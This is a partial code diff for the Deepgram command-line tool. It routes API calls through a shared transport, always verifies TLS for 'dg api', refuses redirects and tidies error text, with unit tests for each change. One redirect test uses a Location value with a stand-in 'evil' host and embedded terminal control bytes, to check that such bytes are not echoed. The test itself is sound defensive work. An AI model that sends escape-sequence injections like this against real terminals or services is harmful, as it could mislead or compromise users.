+        from deepctl_core.transport import request_headers
+
         headers: dict[str, str] = {}
         if api_key:
-            headers["Authorization"] = f"Token {api_key}"
+            # The key's host passed the check; the session ID goes only
+            # where the key goes.
+            headers = request_headers(api_key)
         if custom_headers:
             for header in custom_headers:
                 if ":" in header:
                     key, value = header.split(":", 1)
-                    headers[key.strip()] = value.strip()
+                    key = key.strip()
+                    # A -H header replaces one of the same name, in any case.
+                    for name in [k for k in headers if k.lower() == key.lower()]:
+                        del headers[name]
+                    headers[key] = value.strip()
         return headers
 
     def _build_body(
@@ -363,6 +372,25 @@ def _apply_jq_filter(self, response_text: str, jq_filter: str) -> str:
             raise RuntimeError(f"jq error: {result.stderr.strip()}")
         return result.stdout.strip()
 
+    @staticmethod
+    def _insecure_ignored(url: str, error: BaseException) -> bool:
+        """A TLS failure on a loopback host while DEEPGRAM_CLI_INSECURE would
+        have skipped verification for the SDK: say it doesn't reach dg api."""
+        from deepctl_core import auth, output, transport
+
+        if output.is_ai_agent():
+            return False
+        value = os.environ.get("DEEPGRAM_CLI_INSECURE", "").strip().lower()
+        origin = parse_origin(url)
+        if value not in ("1", "true") or origin is None:
+            return False
+        if origin.host not in auth._INSECURE_HOSTS:
+            return False
+        mapped = transport.map_exception(error)
+        return (
+            mapped is not None and mapped.details.get("reason") == transport.REASON_TLS
+        )
+
     def handle(
         self,
         config: Config,
@@ -382,9 +410,14 @@ def handle(
         raw_output = kwargs.get("raw", False)
         allow_host = kwargs.get("allow_foreign_host")
 
-        # Resolve URL against the profile's base URL. check_base_url raises
-        # (already reported) when that host isn't trusted with the key.
-        base_url = auth_manager.check_base_url()
+        from deepctl_core import transport
+
+        # Resolve URL against the profile's base URL. The Transport's host
+        # check raises (already reported) when that host isn't trusted with
+        # the key.
+        base_url = transport.Transport(
+            config, check_host=auth_manager.check_base_url
+        ).rest_base()
         url = self._resolve_url(endpoint, base_url)
 
         attach, refusal = self._authorize(url, base_url, config, allow_host, method)
@@ -432,11 +465,17 @@ def handle(
 
         # Make request
         try:
-            # Never follow redirects: a 3xx could point the key elsewhere.
-            with httpx.Client(timeout=30.0, follow_redirects=False) as http_client:
-                response = http_client.request(**request_kwargs)
+            # The process's one client (one connection), with TLS verified
+            # for every host as in 0.4.1: DEEPGRAM_CLI_INSECURE doesn't reach
+            # dg api. Never follow redirects: a 3xx could point the key
+            # elsewhere.
+            response = transport.verified_client().request(
+                **request_kwargs, follow_redirects=False, timeout=30.0
+            )
         except httpx.RequestError as e:
             console.print(f"[red]Request failed: {e}[/red]")
+            if self._insecure_ignored(url, e):
+                print_hint(msg.H_API_INSECURE_IGNORED)
             return ApiResult(
                 status="error",
                 message=f"Request failed: {e}",
diff --git a/packages/deepctl-cmd-api/src/deepctl_cmd_api/messages.py b/packages/deepctl-cmd-api/src/deepctl_cmd_api/messages.py
index 24fabd51..79f3e184 100644
--- a/packages/deepctl-cmd-api/src/deepctl_cmd_api/messages.py
+++ b/packages/deepctl-cmd-api/src/deepctl_cmd_api/messages.py
@@ -29,3 +29,9 @@
     "{origin} answered with a redirect to {location_origin}. dg api doesn't "
     "follow redirects."
 )
+# After a TLS failure on localhost, 127.0.0.1 or [::1] while a person has
+# DEEPGRAM_CLI_INSECURE set: dg api always verifies TLS (as in 0.4.1).
+H_API_INSECURE_IGNORED = (
+    "DEEPGRAM_CLI_INSECURE doesn't apply to dg api, which always verifies TLS "
+    "certificates."
+)
diff --git a/packages/deepctl-cmd-api/tests/unit/test_api_command.py b/packages/deepctl-cmd-api/tests/unit/test_api_command.py
index 046c3447..c6542cdf 100644
--- a/packages/deepctl-cmd-api/tests/unit/test_api_command.py
+++ b/packages/deepctl-cmd-api/tests/unit/test_api_command.py
@@ -1,6 +1,8 @@
 """Tests for API command."""
 
 import json
+import os
+from pathlib import Path
 from unittest.mock import Mock, patch
 
 import httpx
@@ -93,9 +95,22 @@ def test_build_headers(self, command):
         assert headers["Accept"] == "text/plain"
 
     def test_build_headers_no_custom(self, command):
-        """Test header building with only auth."""
+        """With a key: the transport's request headers (identification,
+        session ID, auth), as every other API request sends."""
+        from deepctl_core import transport
+
         headers = command._build_headers("test-key", None)
-        assert headers == {"Authorization": "Token test-key"}
+        assert headers == transport.request_headers("test-key")
+        assert headers["Authorization"] == "Token test-key"
+
+    def test_build_headers_without_a_key_has_no_session_id(self, command):
+        """No key (a host that doesn't get it): nothing from the builder."""
+        assert command._build_headers(None, ["X-A: 1"]) == {"X-A": "1"}
+
+    def test_custom_header_replaces_one_in_any_case(self, command):
+        headers = command._build_headers("test-key", ["user-agent: mine"])
+        assert [k for k in headers if k.lower() == "user-agent"] == ["user-agent"]
+        assert headers["user-agent"] == "mine"
 
     def test_build_body_from_fields(self, command):
         """Test body building from field arguments."""
@@ -175,7 +190,7 @@ def test_apply_jq_filter_error(self, mock_run, mock_which, command):
         with pytest.raises(RuntimeError, match="jq error"):
             command._apply_jq_filter("{}", "invalid[")
 
-    @patch("httpx.Client")
+    @patch("deepctl_core.transport.shared_client")
     def test_handle_success(
         self, mock_client_class, command, mock_config, mock_auth_manager, mock_client
     ):
@@ -187,8 +202,6 @@ def test_handle_success(
         mock_response.elapsed.total_seconds.return_value = 0.150
 
         mock_http = Mock()
-        mock_http.__enter__ = Mock(return_value=mock_http)
-        mock_http.__exit__ = Mock(return_value=False)
         mock_http.request.return_value = mock_response
         mock_client_class.return_value = mock_http
 
@@ -206,7 +219,7 @@ def test_handle_success(
         assert result.url == f"{DEFAULT_BASE_URL}/v1/projects"
         assert result.response_body == {"projects": []}
 
-    @patch("httpx.Client")
+    @patch("deepctl_core.transport.shared_client")
     def test_handle_error_response(
         self, mock_client_class, command, mock_config, mock_auth_manager, mock_client
     ):
@@ -218,8 +231,6 @@ def test_handle_error_response(
         mock_response.elapsed.total_seconds.return_value = 0.050
 
         mock_http = Mock()
-        mock_http.__enter__ = Mock(return_value=mock_http)
-        mock_http.__exit__ = Mock(return_value=False)
         mock_http.request.return_value = mock_response
         mock_client_class.return_value = mock_http
 
@@ -234,14 +245,12 @@ def test_handle_error_response(
         assert result.status == "error"
         assert result.status_code == 404
 
-    @patch("httpx.Client")
+    @patch("deepctl_core.transport.shared_client")
     def test_handle_request_error(
         self, mock_client_class, command, mock_config, mock_auth_manager, mock_client
     ):
         """Test handling of request errors."""
         mock_http = Mock()
-        mock_http.__enter__ = Mock(return_value=mock_http)
-        mock_http.__exit__ = Mock(return_value=False)
         mock_http.request.side_effect = httpx.ConnectError("Connection refused")
         mock_client_class.return_value = mock_http
 
@@ -275,7 +284,7 @@ def test_handle_no_api_key(
         assert result.status == "error"
         assert "No API key found" in result.message
 
-    @patch("httpx.Client")
+    @patch("deepctl_core.transport.shared_client")
     def test_handle_post_with_fields(
         self, mock_client_class, command, mock_config, mock_auth_manager, mock_client
     ):
@@ -287,8 +296,6 @@ def test_handle_post_with_fields(
         mock_response.elapsed.total_seconds.return_value = 0.200
 
         mock_http = Mock()
-        mock_http.__enter__ = Mock(return_value=mock_http)
-        mock_http.__exit__ = Mock(return_value=False)
         mock_http.request.return_value = mock_response
         mock_client_class.return_value = mock_http
 
@@ -357,3 +364,52 @@ def test_api_result_serialization(self):
         data = result.model_dump()
         assert data["method"] == "POST"
         assert data["status_code"] == 201
+
+
+@pytest.mark.parametrize(
+    ("insecure", "host", "agent", "hinted"),
+    [
+        ("1", "127.0.0.1", False, True),
+        ("true", "localhost", False, True),
+        ("1", "127.0.0.1", True, False),
+        ("0", "127.0.0.1", False, False),
+        ("1", "api.eu.deepgram.com", False, False),
+    ],
+)
+def test_insecure_hint_on_loopback_tls_failure(monkeypatch, capsys, insecure, host, agent, hinted):
+    """dg api always verifies TLS; say so when DEEPGRAM_CLI_INSECURE was set."""
+    from deepctl_core import output
+
+    base = f"https://{host}:8443" if host != "api.eu.deepgram.com" else f"https://{host}"
+    auth = Mock(spec=AuthManager)
+    auth.get_api_key.return_value = "test-api-key"
+    auth.check_base_url.return_value = base
+    config = Mock(spec=Config)
+    config.allowed_hosts.return_value = [f"{host}:8443"]
+    monkeypatch.setenv("DEEPGRAM_CLI_INSECURE", insecure)
+    monkeypatch.setattr(output, "is_ai_agent", lambda: agent)
+    monkeypatch.setattr(output.stderr_console, "_width", 400)
+    failing = Mock()
+    failing.request.side_effect = httpx.ConnectError(
+        "[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed"
+    )
+    monkeypatch.setattr("deepctl_core.transport.verified_client", lambda: failing)
+    result = ApiCommand().handle(config, auth, Mock(), endpoint="/v1/projects")
+    assert result.status == "error"
+    err = capsys.readouterr().err
+    assert ("DEEPGRAM_CLI_INSECURE doesn't apply to dg api," in err) is hinted
+
+
+@pytest.mark.skipif(
+    not os.environ.get("DG_ERROR_CODES_JSON"),
+    reason="DG_ERROR_CODES_JSON names no error catalogue file",
+)
+def test_insecure_hint_matches_catalogue():
+
+    from deepctl_cmd_api import messages
+
+    catalogue = json.loads(Path(os.environ["DG_ERROR_CODES_JSON"]).read_text())
+    assert (
+        catalogue["strings"]["H-API-INSECURE-IGNORED"]
+        == messages.H_API_INSECURE_IGNORED
+    )
diff --git a/packages/deepctl-cmd-api/tests/unit/test_api_host_scope.py b/packages/deepctl-cmd-api/tests/unit/test_api_host_scope.py
index 0373dacf..4e247c8d 100644
--- a/packages/deepctl-cmd-api/tests/unit/test_api_host_scope.py
+++ b/packages/deepctl-cmd-api/tests/unit/test_api_host_scope.py
@@ -62,15 +62,17 @@ def handler(request: httpx.Request) -> httpx.Response:
             stream=httpx.ByteStream(b'{"ok": true}'),
         )
 
-    real_client = httpx.Client
+    class Shared(httpx.Client):
+        """The shared client; `dg api` must ask for no redirects per request."""
 
-    def client(**kwargs):
-        if "follow_redirects" not in kwargs:  # not the `dg api` client
-            return real_client(**kwargs)
-        assert kwargs["follow_redirects"] is False
-        return real_client(transport=httpx.MockTransport(handler), **kwargs)
+        def request(self, *args, **kwargs):
+            assert kwargs["follow_redirects"] is False
+            return super().request(*args, **kwargs)
 
-    monkeypatch.setattr(api_module.httpx, "Client", client)
+    from deepctl_core import transport
+
+    monkeypatch.setattr(transport, "_client", None)
+    transport._set_client(Shared(transport=httpx.MockTransport(handler)))
     return seen
 
 
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index 93c7e3ba..cf91ff11 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -101,6 +101,14 @@ def _ws_base(client: DeepgramClient) -> str:
     return f"{'ws' if scheme.lower() in ('http', 'ws') else 'wss'}://{rest}"
 
 
+def _socket_headers(api_key: str | None) -> dict[str, str]:
+    """What a live stream's WebSocket open carries: the transport's request
+    headers. The host was checked when the URL was built (``_ws_base``)."""
+    from deepctl_core import transport
+
+    return transport.request_headers(api_key or "")
+
+
 # asyncio (and with it ssl) loads only when a live stream starts, so
 # `dg listen --help` and the prerecorded path don't import it.
 # The live engine imports asyncio, so it loads lazily too.
@@ -852,7 +860,16 @@ def _prerecorded(
             # Raise (not return an error result) so an API rejection — e.g. a
             # --redact value the v1 endpoint refuses — exits non-zero and is
             # visible, rather than printing nothing and exiting 0.
-            detail = scrub_url_text(e, source) if url_like else e
+            from deepctl_core.output import print_debug
+            from deepctl_core.transport import plain_detail
+
+            # The cause in its own words, never the SDK error's field dump;
+            # the whole exception only with --verbose.
+            raw = plain_detail(e)
+            detail = scrub_url_text(raw, source) if url_like else raw
+            print_debug(
+                escape(scrub_url_text(repr(e), source) if url_like else repr(e))
+            )
             raise click.ClickException(f"Transcription failed: {detail}")
 
         # ── Format transcript ──────────────────────────────────────────
@@ -1081,7 +1098,7 @@ def on_message(raw: str | bytes) -> None:
         try:
             outcome = await live.run_session(
                 url,
-                {"Authorization": f"Token {api_key}"},
+                _socket_headers(api_key),
                 on_message=on_message,
                 queue=queue,
                 closing=closing,
@@ -1263,7 +1280,7 @@ def on_message(raw: str | bytes) -> None:
 
         outcome = await live.run_session(
             url,
-            {"Authorization": f"Token {api_key}"},
+            _socket_headers(api_key),
             on_message=on_message,
             queue=queue,
             closing=closing,
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_live_redirect.py b/packages/deepctl-cmd-listen/tests/unit/test_live_redirect.py
index db905f42..3ff5ac3e 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_live_redirect.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_live_redirect.py
@@ -14,9 +14,9 @@
 from dataclasses import dataclass, field
 from unittest.mock import MagicMock
 
-import click
 import pytest
 from deepctl_cmd_listen.command import ListenCommand
+from deepctl_core.websocket import RedirectRefused
 
 FAKE_KEY = "fa1ce0000000000000000000000000000000000d"
 
@@ -157,7 +157,7 @@ def test_cross_origin_redirect_is_refused(mode, no_audio_devices):
     assert f"Token {FAKE_KEY}".encode() in servers.origin.requests[0]
     # Nothing at all reached the redirect target.
     assert servers.target.requests == []
-    assert isinstance(err, click.ClickException)
+    assert isinstance(err, RedirectRefused)
     assert err.exit_code != 0
     target = f"ws://127.0.0.1:{servers.target.port}"
     assert err.message == (
@@ -174,7 +174,7 @@ def test_same_origin_redirect_is_refused(mode, no_audio_devices):
     # The redirect back to the same host is not followed either.
     assert len(servers.origin.requests) == 1
     assert servers.target.requests == []
-    assert isinstance(err, click.ClickException)
+    assert isinstance(err, RedirectRefused)
     assert err.exit_code != 0
     assert "doesn't follow redirects" in err.message
 
@@ -185,7 +185,7 @@ def test_relative_location_names_the_same_origin(no_audio_devices):
 
     origin = f"ws://127.0.0.1:{servers.origin.port}"
     assert len(servers.origin.requests) == 1
-    assert isinstance(err, click.ClickException)
+    assert isinstance(err, RedirectRefused)
     assert err.message.startswith(f"{origin} answered with a redirect to {origin}.")
 
 
@@ -194,7 +194,7 @@ def test_control_bytes_in_location_are_not_echoed(no_audio_devices):
     with _Servers("ws://evil\x9b31m.example/x") as servers:
         err = _run("stdin", servers.origin.origin)
 
-    assert isinstance(err, click.ClickException)
+    assert isinstance(err, RedirectRefused)
     assert err.message.isascii()
     assert all(c.isprintable() for c in err.message)
     assert "redirect to ws://evil. " in err.message
@@ -210,8 +210,22 @@ def test_unbalanced_bracket_in_location_gives_the_redirect_message(
         err = _run(mode, servers.origin.origin)
 
     assert servers.target.requests == []
-    assert isinstance(err, click.ClickException)
+    assert isinstance(err, RedirectRefused)
     assert err.message == (
         f"ws://127.0.0.1:{servers.origin.port} answered with a redirect to ?. "
         "dg listen doesn't follow redirects, so no audio was sent."
     )
+
+
+@pytest.mark.parametrize("mode", ["mic", "stdin"])
+def test_upgrade_carries_the_request_headers(mode, no_audio_devices):
+    """The live upgrade identifies the run as every other API request does:
+    the SDK's User-Agent, the session ID and the key."""
+    from deepctl_core import transport
+
+    with _Servers(CROSS) as servers:
+        _run(mode, servers.origin.origin)
+
+    request = servers.origin.requests[0].decode("latin-1").lower()
+    for name, value in transport.request_headers(FAKE_KEY).items():
+        assert f"\r\n{name.lower()}: {value.lower()}\r\n" in request, name
diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
index fe486e01..24d26abd 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
@@ -1647,7 +1647,9 @@ def handle(
             masked = f"{api_key[:4]}****{api_key[-4:]}" if len(api_key) > 8 else "****"
 
         project_id = auth_manager.get_project_id()
-        base_url = profile_cfg.base_url or "https://api.deepgram.com"
+        from deepctl_core.hosts import DEFAULT_BASE_URL
+
+        base_url = profile_cfg.base_url or DEFAULT_BASE_URL
 
         # Render the human block only in default mode. For json/yaml/csv the
         # framework serialises the returned result to stdout, so printing the
@@ -1666,7 +1668,7 @@ def handle(
                     if project_id
                     else "  Project ID: [dim]not set[/dim]"
                 )
-                if base_url != "https://api.deepgram.com":
+                if base_url != DEFAULT_BASE_URL:
                     console.print(f"  Base URL:   {base_url}")
                 if profile_cfg.dg_token_expires_at and has_profile_key:
                     console.print(f"  Expires:    {profile_cfg.dg_token_expires_at}")
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
index be8da794..cc547559 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
@@ -294,6 +294,19 @@ def _os_error_text(exc: OSError) -> str:
 _CLOSE_TIMEOUT_S = 2.0
 
 
+def _failed(what: str, exc: BaseException) -> click.ClickException:
+    """``{what}: {cause}`` for an error no coded message covers.
+
+    The cause is the underlying error's own message, never the SDK error's
+    field dump; the whole exception goes to --verbose output only.
+    """
+    from deepctl_core.output import print_debug
+    from deepctl_core.transport import plain_detail
+
+    print_debug(escape(f"{what}: {exc!r}"))
+    return click.ClickException(f"{what}: {plain_detail(exc)}")
+
+
 def _close(*streams: object, timeout: float = _CLOSE_TIMEOUT_S) -> None:
     """Close audio iterators (and the responses behind them), quietly and in
     order, and wait at most ``timeout`` seconds for all of them together."""
@@ -1431,7 +1444,7 @@ def _speak_flux(
         except _SINK_ERRORS:
             raise
         except Exception as e:
-            raise click.ClickException(f"Flux streaming failed: {e}")
+            raise _failed("Flux streaming failed", e) from e
         finally:
             _close(stream, raw)
 
@@ -1609,7 +1622,7 @@ def _speak_v1(
                 sample_rate=sample_rate,
             )
         except Exception as e:
-            raise click.ClickException(f"Error generating speech: {e}")
+            raise _failed("Error generating speech", e) from e
 
         try:
             if player in _STDIN_PLAYER_ARGV:
@@ -1658,7 +1671,7 @@ def _speak_v1(
             # in every output mode — a returned BaseResult is only printed and
             # still exits 0. Reachable now that unknown models (e.g. a bare
             # "flux" typo) route here instead of the raising v2 path.
-            raise click.ClickException(f"Error generating speech: {e}")
+            raise _failed("Error generating speech", e) from e
         finally:
             _close(audio_iter)
 
diff --git a/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py b/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
index bc03c6e9..b513fd84 100644
--- a/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
+++ b/packages/deepctl-cmd-speak/tests/unit/test_speak_command.py
@@ -802,6 +802,47 @@ def _boom():
                 file=None,
             )
 
+    @patch("deepctl_cmd_speak.command.sys")
+    def test_flux_failure_shows_the_cause_not_the_sdk_fields(
+        self,
+        mock_sys,
+        command,
+        mock_config,
+        mock_auth_manager,
+        mock_client,
+        tmp_path,
+    ):
+        """The client's ApiError wrapper shows as its cause's own words."""
+        from deepgram.core.api_error import ApiError
+
+        mock_sys.stdin.isatty.return_value = True
+        mock_sys.stdout.isatty.return_value = True
+
+        def _boom():
+            try:
+                raise RuntimeError("socket closed")
+            except RuntimeError as e:
+                raise ApiError(body=f"Text-to-speech streaming failed: {e}")
+            yield  # pragma: no cover — make this a generator
+
+        mock_client.speak_text_stream.return_value = _boom()
+
+        with pytest.raises(click.ClickException) as err:
+            command.handle(
+                config=mock_config,
+                auth_manager=mock_auth_manager,
+                client=mock_client,
+                text="Hello from Flux",
+                output=str(tmp_path / "x.wav"),
+                model="flux-alexis-en",
+                encoding=None,
+                container=None,
+                sample_rate=None,
+                file=None,
+            )
+        assert err.value.message == "Flux streaming failed: socket closed"
+        assert "status_code" not in err.value.message
+
     @patch("deepctl_cmd_speak.command.sys")
     def test_handle_flux_streams_to_stdout_incrementally(
         self, mock_sys, command, mock_config, mock_auth_manager, mock_client
diff --git a/packages/deepctl-core/src/deepctl_core/auth.py b/packages/deepctl-core/src/deepctl_core/auth.py
index 2463a8d6..ac1506dc 100644
--- a/packages/deepctl-core/src/deepctl_core/auth.py
+++ b/packages/deepctl-core/src/deepctl_core/auth.py
@@ -167,6 +167,7 @@ def _insecure_mounts() -> "dict[str, httpx.BaseTransport]":
     httpx builds from HTTPS_PROXY/ALL_PROXY/NO_PROXY, so every other host
     keeps both certificate verification and the proxy settings.
     """
+    _load_modules("httpx")
     unverified = httpx.HTTPTransport(verify=False)
     return {
         f"all://{'[::1]' if host == '::1' else host}": unverified
@@ -514,7 +515,7 @@ def verify_api_key(
 
         try:
             headers = {
-                "Authorization": f"Token {api_key}",
+                **transport.request_headers(api_key),
                 "Content-Type": "application/json",
             }
 
@@ -587,7 +588,7 @@ def verify_credentials(
         # Make API request to verify both credentials
         try:
             headers = {
-                "Authorization": f"Token {api_key}",
+                **transport.request_headers(api_key),
                 "Content-Type": "application/json",
             }
 
diff --git a/packages/deepctl-core/src/deepctl_core/client.py b/packages/deepctl-core/src/deepctl_core/client.py
index ba86112e..70515bbe 100644
--- a/packages/deepctl-core/src/deepctl_core/client.py
+++ b/packages/deepctl-core/src/deepctl_core/client.py
@@ -7,8 +7,7 @@
 from typing import TYPE_CHECKING, Any, cast
 from urllib.parse import urlencode
 
-from . import transport
-from .hosts import DEFAULT_BASE_URL
+from . import hosts, transport
 from .output import stderr_console
 
 if TYPE_CHECKING:
@@ -16,8 +15,7 @@
     from datetime import datetime
 
     # Bound at run time by _sdk() below, not by these imports.
-    from deepgram import DeepgramClient as DGClient  # noqa: TC004
-    from deepgram import DeepgramClientEnvironment  # noqa: TC004
+    from deepgram import DeepgramClient as DGClient
     from deepgram.core.api_error import ApiError  # noqa: TC004
 
     from .auth import AuthManager
@@ -90,8 +88,9 @@ def __init__(self, config: Config, auth_manager: AuthManager):
         self.auth_manager = auth_manager
         self._client: DGClient | None = None
         self._project_id: str | None = None
-        # The REST base the SDK client was given (for redirect errors).
-        self._rest_base: str = DEFAULT_BASE_URL
+        self.transport = transport.Transport(
+            config, check_host=auth_manager.check_base_url
+        )
         # Kept out of error text.
         self._secrets: tuple[str, ...] = ()
 
@@ -122,78 +121,26 @@ def _create_client(self) -> DGClient:
         if not api_key:
             raise ApiError(body="No API key available")
 
-        # The SDK sends the key to whatever environment it is given, so the
-        # base URL goes through the same host check as every other path.
-        base_url = self.auth_manager.check_base_url()
-
         try:
-            # One connection pool per process; requests reuse its connection.
-            kwargs: dict[str, Any] = {
-                "api_key": api_key,
-                "httpx_client": transport.shared_client(),
-            }
-
-            if base_url and base_url != DEFAULT_BASE_URL:
-                # Derive both the REST and WebSocket endpoints from the
-                # configured base URL, so a custom base works for batch REST
-                # *and* streaming. Preserve the transport implied by the input
-                # scheme (http→ws, https→wss) so a plaintext local/staging
-                # endpoint isn't forced onto TLS. agent_rest is required by the
-                # SDK environment.
-                rest_scheme, ws_scheme, host = _split_base_url(base_url)
-                self._rest_base = f"{rest_scheme}://{host}"
-                kwargs["environment"] = DeepgramClientEnvironment(
-                    base=f"{rest_scheme}://{host}",
-                    production=f"{ws_scheme}://{host}",
-                    agent=f"{ws_scheme}://{host}",
-                    agent_rest=f"{rest_scheme}://{host}",
-                )
-
-            # A redirect would take the request body (audio, text) to
-            # another host, and with the SDK's default the key too on a
-            # same-origin hop. Refuse it; _failed() words the error.
-            kwargs["follow_redirects"] = False
-
-            client = DGClient(**kwargs)
+            # The Transport checks the host before the SDK gets the key, and
+            # derives the REST and WebSocket endpoints from the same base.
+            client = cast("DGClient", self.transport.sdk_client(api_key))
             self._project_id = project_id
             self._secrets = (api_key,)
             return client
 
+        except hosts.CredentialHostError:
+            raise
         except Exception as e:
             console.print(f"[red]Error creating Deepgram client:[/red] {e}")
             raise ApiError(body=f"Failed to create client: {e}")
 
-    def _failed(self, what: str, e: Exception) -> Exception:
-        """The error to raise for a failed SDK call.
-
-        A refused redirect passes through unchanged, and a 3xx answer
-        (the SDK client doesn't follow redirects) becomes the same refusal.
-        Anything else is wrapped as before.
-        """
-        from .websocket import RedirectRefused, redirect_refused
-
-        if isinstance(e, RedirectRefused):
-            return e
-        status = getattr(e, "status_code", None)
-        if isinstance(e, ApiError) and status is not None and 300 <= status < 400:
-            headers = {k.lower(): v for k, v in (e.headers or {}).items()}
-            return redirect_refused(
-                self._rest_base, headers.get("location"), command="dg", payload=None
-            )
-        return ApiError(body=f"{what}: {e}")
-
     def _mapped(self, chunks: Iterator[bytes]) -> Iterator[bytes]:
-        """Yield ``chunks``; a request failure while reading them is mapped,
-        and a 3xx answer becomes the redirect refusal."""
-        from .websocket import RedirectRefused
-
+        """Yield ``chunks``; a request failure while reading them is mapped."""
         try:
             yield from chunks
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            refused = self._failed("", e)
-            if isinstance(refused, RedirectRefused):
-                raise refused from e
             raise
 
     # ── Speech-to-Text (pre-recorded) ──────────────────────────────
@@ -246,7 +193,7 @@ def transcribe_file(
             raise
         except Exception as e:
             transport.raise_for(e, self._secrets, timeout_s=timeout_s)
-            raise self._failed("Transcription failed", e)
+            raise ApiError(body=f"Transcription failed: {e}")
 
     def transcribe_url(
         self,
@@ -281,7 +228,7 @@ def transcribe_url(
 
         except Exception as e:
             transport.raise_for(e, self._secrets, timeout_s=timeout_s)
-            raise self._failed("Transcription failed", e)
+            raise ApiError(body=f"Transcription failed: {e}")
 
     # ── Text-to-Speech ─────────────────────────────────────────────
 
@@ -311,7 +258,7 @@ def speak_text(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Text-to-speech failed", e)
+            raise ApiError(body=f"Text-to-speech failed: {e}")
 
     def speak_text_stream(
         self,
@@ -353,7 +300,7 @@ def speak_text_stream(
         # its connect sent them; creating the client runs the key and host
         # checks.
         headers = dict(self.client._client_wrapper.get_headers())
-        url = f"{self.ws_base_url()}/v2/speak?{urlencode(query)}"
+        url = f"{self.transport.ws_base().rstrip('/')}/v2/speak?{urlencode(query)}"
         try:
             with connect_sync(
                 url,
@@ -372,15 +319,7 @@ def speak_text_stream(
                         yield message
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Text-to-speech streaming failed", e)
-
-    def ws_base_url(self) -> str:
-        """The WebSocket base for the checked base URL, without a slash."""
-        base_url = self.auth_manager.check_base_url()
-        if not base_url or base_url == DEFAULT_BASE_URL:
-            base_url = DEFAULT_BASE_URL
-        _rest, ws_scheme, host = _split_base_url(str(base_url))
-        return f"{ws_scheme}://{host}"
+            raise ApiError(body=f"Text-to-speech streaming failed: {e}")
 
     # ── Text Intelligence (Read) ───────────────────────────────────
 
@@ -415,7 +354,7 @@ def analyze_text(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Text analysis failed", e)
+            raise ApiError(body=f"Text analysis failed: {e}")
 
     # ── Models ─────────────────────────────────────────────────────
 
@@ -431,7 +370,7 @@ def list_models(self, include_outdated: bool = False) -> dict[str, Any]:
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to list models", e)
+            raise ApiError(body=f"Failed to list models: {e}")
 
     def get_model(self, model_id: str) -> dict[str, Any]:
         """Get a specific model by ID."""
@@ -441,7 +380,7 @@ def get_model(self, model_id: str) -> dict[str, Any]:
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to get model", e)
+            raise ApiError(body=f"Failed to get model: {e}")
 
     # ── Projects ───────────────────────────────────────────────────
 
@@ -453,7 +392,7 @@ def get_projects(self) -> dict[str, Any]:
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to get projects", e)
+            raise ApiError(body=f"Failed to get projects: {e}")
 
     def get_project(self, project_id: str | None = None) -> dict[str, Any]:
         """Get specific project."""
@@ -464,7 +403,7 @@ def get_project(self, project_id: str | None = None) -> dict[str, Any]:
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to get project", e)
+            raise ApiError(body=f"Failed to get project: {e}")
 
     def create_project(self, name: str, company: str | None = None) -> dict[str, Any]:
         """Create a new project."""
@@ -478,7 +417,7 @@ def create_project(self, name: str, company: str | None = None) -> dict[str, Any
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to create project", e)
+            raise ApiError(body=f"Failed to create project: {e}")
 
     # ── Usage ──────────────────────────────────────────────────────
 
@@ -504,7 +443,7 @@ def get_usage(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to get usage", e)
+            raise ApiError(body=f"Failed to get usage: {e}")
 
     # ── API Keys ───────────────────────────────────────────────────
 
@@ -525,7 +464,7 @@ def list_keys(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to list keys", e)
+            raise ApiError(body=f"Failed to list keys: {e}")
 
     def create_key(
         self,
@@ -557,7 +496,7 @@ def create_key(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to create key", e)
+            raise ApiError(body=f"Failed to create key: {e}")
 
     def get_key(self, key_id: str, project_id: str | None = None) -> dict[str, Any]:
         """Get a specific API key."""
@@ -568,7 +507,7 @@ def get_key(self, key_id: str, project_id: str | None = None) -> dict[str, Any]:
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to get key", e)
+            raise ApiError(body=f"Failed to get key: {e}")
 
     def delete_key(self, key_id: str, project_id: str | None = None) -> dict[str, Any]:
         """Delete an API key."""
@@ -579,7 +518,7 @@ def delete_key(self, key_id: str, project_id: str | None = None) -> dict[str, An
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to delete key", e)
+            raise ApiError(body=f"Failed to delete key: {e}")
 
     # ── Requests ───────────────────────────────────────────────────
 
@@ -618,7 +557,7 @@ def list_requests(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to list requests", e)
+            raise ApiError(body=f"Failed to list requests: {e}")
 
     def get_request(
         self, request_id: str, project_id: str | None = None
